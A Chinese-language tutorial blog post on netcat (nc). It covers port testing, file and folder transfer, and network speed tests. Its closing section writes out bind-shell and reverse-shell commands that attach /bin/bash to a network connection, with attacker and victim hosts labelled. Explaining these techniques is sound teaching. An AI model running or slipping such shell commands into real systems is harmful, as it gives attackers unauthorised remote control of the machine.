首页 > 其他分享 >nc命令用法示例

nc命令用法示例

时间:2024-01-22 12:55:59浏览次数:21  
标签:10.0 示例 nc 用法 60000 0.11 攻击者 服务器

nc简介

nc

nc全称netcat,又叫做瑞士军刀,是一款简单、可靠的网络工具。

作用

  1. 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
  2. 端口扫描,nc可以作为client发起TCP或UDP连接
  3. 机器之间传输文件
  4. 机器之间网络测速

安装

CentOS/RHEL/Fedora:

yum install -y nc
nc --version
Ncat: Version 7.50 ( https://nmap.org/ncat )

或者

dnf install nc

Debian/Ubuntu:

apt-get install netcat

nc常见用法

nc命令常见语法格式

nc [参数] 域名/IP地址 [端口]

常用参数

  • -h:帮助
  • -4:仅使用 IPv4
  • -6:仅使用 IPv6
  • -v:显示详细信息,包括连接和数据传输的详细信息。
  • -z:指定在连接成功后关闭连接,而不是等待输入。
  • -n:指定不使用DNS解析主机名。
  • -w:指定连接超时时间(以秒为单位)。
  • -l:指定 nc 作为服务器监听连接。
  • -p:指定本地端口号。
  • -s:指定本地源地址。
  • -k:指定服务器在接受一个连接后保持监听状态,以便接受多个连接。
  • -u:指定使用UDP协议。
  • -e, --exec:执行给定的命令。
  • -c, --sh-exec:通过 /bin/sh 执行给定的命令。可使用管道符之类的符号
  • -z:指定在连接成功后关闭连接,而不是等待输入。
  • -b:指定在连接成功后将标准输入和标准输出重定向到后台。
  • -t:允许nc与telnet兼容,例如处理特殊转义序列。
  • -r:指定在连接成功后随机选择本地端口号。
  • --version:显示 Ncat 的版本信息并退出

案例

环境准备

  • 服务器1:10.0.0.11
  • 服务器2:10.0.0.12

实用案例

网络连通性测试和端口扫描

测试主机的TCP端口

服务器1监听在tcp的60000端口

$ nc -lp 60000
# 或者省略-p
$ nc -l 60000

查看端口

$ netstat -ntlpu | grep 60000
tcp        0      0 0.0.0.0:60000           0.0.0.0:*               LISTEN      2553/nc             
tcp6       0      0 :::60000                :::*                    LISTEN      2553/nc

服务器2上测试

$ nc -zv 10.0.0.11 60000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.11:60000.
Ncat: 0 bytes sent, 0 bytes received in 0.00 seconds.

测试主机的UDP端口

服务器1监听在udp的60000端口

$ nc -lup 60000
# 或者省略-p
$ nc -lu 60000

查看端口

$ netstat -ntlpu | grep 60000
udp        0      0 0.0.0.0:60000           0.0.0.0:*                           2633/nc             
udp6       0      0 :::60000                :::*                                2633/nc

服务器2上测试

$ nc -vzu 10.0.0.11 60000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.11:60000.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.00 seconds.

补充

  1. 加上 -w 可以设置超时时长

    nc -vzw 2 10.0.0.11 60000
    

    设置超时时长2s

  2. 脚本中使用

    端口正常的话,查询 $?,就是0

    $ nc -z 10.0.0.11 22
    $ echo $?
    0
    

    如果不正常,就不为0

    $ nc -z 10.0.0.11 221
    $ echo $?
    1
    
  3. 当为ip的时候,加上-n选项会更高效

    • 提高效率,避免的不必要的dns查询
    • 脚本自动化,避免因为dns问题导致整个任务失败
    • 安全稳定,避免dns欺骗或者缓存的问题
    nc -vzn 10.0.0.11 60000
    

文件和目录的传输

传输文件

服务器2上待传输的文件

cat test.txt
第一行
第二行
第三行
第四行

服务器1上监听60000端口,并将传入的内容写入文件

nc -l 60000 > test.txt

服务器2上发送文件内容到服务器1的60000端口上

nc 10.0.0.11 60000 < test.txt

查看服务器1上的文件

cat test.txt 
第一行
第二行
第三行
第四行

传输文件夹

利用tar来传输

经过我的测试管道后面最后必须是 - ,不能是其余自定义的文件名

启动服务器1上的接收服务

nc -l 60000 | tar xfvz -

启动服务器2上的发送命令

tar czf - ./nginx/* | nc 10.0.0.11 60000

./nginx/* 是指的相对路径,如果是 *则表示当前文件夹的所有文件和文件夹

具体过程就是

把当前目录的所有文件打包为 - ,然后使用nc发送给服务器2

然后这边收到了之后再解包

测网速

dstat

这里需要用到另一个工具 dstat

dstat 是一个强大的系统资源监控工具,它能够实时显示系统的 CPU、内存、磁盘 I/O、网络流量、页面错误、任务切换等信息。

相比传统的 vmstat、iostat、netstat 等命令,dstat 提供了更为全面和综合的视图,并且可以灵活地定制输出内容以满足不同需求

安装 dstat

对于基于Debian/Ubuntu的系统

sudo apt-get update
sudo apt-get install dstat

对于基于RPM的系统(如CentOS, RHEL)

sudo yum install dstat

或者在较新版本的这些系统中使用DNF:

sudo dnf install dstat

使用Python包管理器pip(如果官方仓库没有或想要最新版本)

sudo pip install dstat

或者对于Python3:

sudo pip3 install dstat

测试上传网络

在10.0.0.11的服务器1上运行接收命令

nc -l 60000 > /dev/null

这里把来自这个端口的数据都输出给空设备 /dev/null(这样不写磁盘,测试网速更准确)

在服务器2上运行发送命令

$ nc 10.0.0.11 60000 < /dev/zero

这里是把无限个0发送给服务器1的60000端口

然后再服务器2上使用 dstat 查看网速

$ dstat 
You did not select any stats, using -cdngy by default.
----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai hiq siq| read  writ| recv  send|  in   out | int   csw 
  0   0 100   0   0   0| 443k   36k|   0     0 |   0     0 | 651  1056 
  0  12  87   0   0   0|   0     0 |1553k  548M|   0     0 |  30k 1761 
  0  12  87   0   0   0|   0     0 |1302k  537M|   0     0 |  28k 1537 
  0  12  87   0   0   0|   0     0 |1503k  568M|   0     0 |  30k 1600 
  0  12  87   0   0   0|   0     0 |1489k  561M|   0     0 |  30k 1825 
  0  12  87   0   0   0|   0     0 |1231k  540M|   0     0 |  29k 1832 
  0  12  87   0   0   0|   0     0 |1345k  546M|   0     0 |  29k 1667 

可以看到服务器2的上传数据,平均每秒500MB左右,也就是说网速大概是500M/s

测试下载网速

在服务器1上运行发送命令

nc -l 60000 < /dev/zero

谁连接这个60000端口时就会接收来自zero设备的数据(二进制的无限个0)

在服务器2上运行接收命令

$ nc 10.0.0.11 60000 > /dev/null

这里是把接收的数据输出到空设备上

然后再服务器2上使用 dstat 查看网速

$ dstat 
You did not select any stats, using -cdngy by default.
----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai hiq siq| read  writ| recv  send|  in   out | int   csw 
  0   0 100   0   0   0| 416k   34k|   0     0 |   0     0 | 719  1074 
  0   3  96   0   0   0|   0     0 | 554M 1594k|   0     0 |  40k   29k
  0   3  96   0   0   0|   0    60k| 547M 1587k|   0     0 |  40k   29k
  0   4  96   0   0   0|   0  6144B| 547M 1607k|   0     0 |  42k   29k
  0   4  96   0   0   0|   0     0 | 545M 1638k|   0     0 |  43k   30k
  0   4  96   0   0   0|   0    64k| 538M 1614k|   0     0 |  42k   29k
  0   4  96   0   0   0|   0     0 | 540M 1631k|   0     0 |  42k   30k

可以看到上传速度也是大概500M/s

nc实现反弹shell

在网络安全和渗透测试中,使用nc(Netcat)实现反弹shell通常是指被攻击主机向攻击者主机发起连接并提供一个交互式命令行环境。

反弹shell的基本原理:

  1. 攻击者主机运行nc监听指定端口等待连接。
  2. 被攻击主机执行命令创建一个新的网络连接,该连接会通过TCP连接到攻击者的IP地址和监听的端口,并将本地shell进程的标准输入、输出和错误重定向至该网络连接。

正向反弹

也就是需要被攻击者先启服务,然后在后起服务的攻击者一方通过执行命令获取被攻击者信息或者执行其他命令

被攻击者运行命令

nc -l -e /bin/bash 60000

这里是把10.0.0.11的服务器1作为被攻击者,监听在60000端口上

攻击者上运行命令

$ nc 10.0.0.11 60000
# 就可以直接执行各种命令,得到的结果也都是在被攻击者上执行后返回的结果
hostname -I
10.0.0.11 192.168.122.1

反向反弹

也就是需要攻击者先启服务,后起服务的是被攻击者一方,然后攻击者一方就可以通过执行命令获取被攻击者信息或者执行其他命令

攻击者先起服务

nc -l 60000

被攻击者启服务

nc -e /bin/bash 10.0.0.11 60000

然后就可以在10.0.0.11的服务器1上执行各种命令来达到远程控制的目的

标签:10.0,示例,nc,用法,60000,0.11,攻击者,服务器
From: https://www.cnblogs.com/guangdelw/p/17979818

相关文章

  • 【快速阅读二】从OpenCv的代码中扣取泊松融合算子(Poisson Image Editing)并稍作优化
    泊松融合是一种非常不错多图融合算法,在OpenCv的相关版本中也包含了该算子模块,作者尝试着从OpenCv的大仓库中扣取出该算子的全部代码,并分享了一些在扣取代码中的心得和收获。泊松融合我自己写的第一版程序大概是2016年在某个小房间里折腾出来的,当时是用......
  • numba cannot be imported and numba functions are disabled. Probably the executio
    问题描述运行代码会出现警告信息numbacannotbeimportedandnumbafunctionsaredisabled.Probablytheexecutionisslow.Pleaseinstallnumbatogainamassivespeedup.(orifyoupreferslowexecution,settheflagnumba=Falsetoavoidthiswarning!)即使......
  • NCC Mocha v0.10 发布,.NET 开发的基于 OpenTelemetry 的 APM 系统
    目录项目简介项目进度v0.10发布内容项目背景平台功能技术架构v0.10快速体验启动项目Trace数据的发送配置Jaeger数据源Trace数据的查询项目简介Mocha是一个基于.NET开发的APM系统,同时提供可伸缩的可观测性数据分析和存储平台。项目地址:https://github.com/dotnetcore......
  • python redis示例
    Redis是一个基于内存的高性能键值对(key-value)存储系统,同时也支持丰富的数据结构,如字符串、哈希表、列表、集合、有序集合等。在Python中,我们通常使用redis-py这个第三方库来连接和操作Redis。以下是一个基本的使用步骤以及各种数据结构操作的示例:1.安装redis-py库pipinstall......
  • WPF 使用CommunityToolkit.Mvvm实现Binding示例
    WPF在国内的发展一言难尽。属于那种死不死,活不活的状态。现在应用最多的场景就是上位机了。最近研究了一下WPF中重要的特性之一Binding。如果你没有学会它,基本WPF就没有学明白。研究Binding的时候,我也用了MVVM特性,这也是WPF必学的科目之一。我原来用的是MVVMLight。可是后来......
  • C语言基于面向对象的编程方法示例
    C语言基于面向对象的编程方法示例原型声明:typedefstruct_OBJECT_OPS{int(*get_name)(char*param);int(*set_name)(constchar*param);int(*dump)(intlevel);}OBJECT_OPS;原型初始化:OBJECT_OPSmyself={.get_name=get_my_name,.set_n......
  • C#中Dictionary与ConcurrentDictionary解锁多线程操作安全之道
     使用C#中的Dictionary与ConcurrentDictionary进行多线程操作在C#中,Dictionary是一个常见的字典类型,但它不是线程安全的。为了在多线程环境中确保安全的操作,我们可以使用ConcurrentDictionary,这是一个专门设计用于多线程场景的线程安全字典。1.使用Dictionary进行非线程安......
  • RK3566 Boot Sequence
     IntroductionThispagedescribesthebootsequenceofrockchiplinuxGeneralBootSequence(Linuxsystem)BootsequenceSocpowersupandinitializes.BootRomcoderunsinSRAM,loadsandverifiesbootloader'sbootstrapcodefromstoragedevice.......
  • mingw下opencl开发,clFFT的使用
    国产嵌入式GPGPU-soc的开发多使用opencl,开发时需要在Windows下搭建GPU计算的测试框架,用以对算法实现进行测试。在Windows平台下利用方便的开发工具对算法进行基本实现和调试,然后就能方便在soc上进行调试。开发环境:两台笔记本:CPU均是i9-12900H 2.50GHz,带有核心显卡IrisXeGP......
  • m基于FPGA的Hamming汉明编译码verilog实现,包含testbench测试文件,不使用IP核
    1.算法仿真效果本系统进行了Vivado2019.2平台的开发,测试结果如下:2.算法涉及理论知识概要在现代数字通信和存储系统中,错误检测和纠正(ErrorDetectionandCorrection,EDC)机制是至关重要的。Hamming码,以其发明者RichardHamming命名,是一种线性错误检测和纠正码,广泛应用于这些系......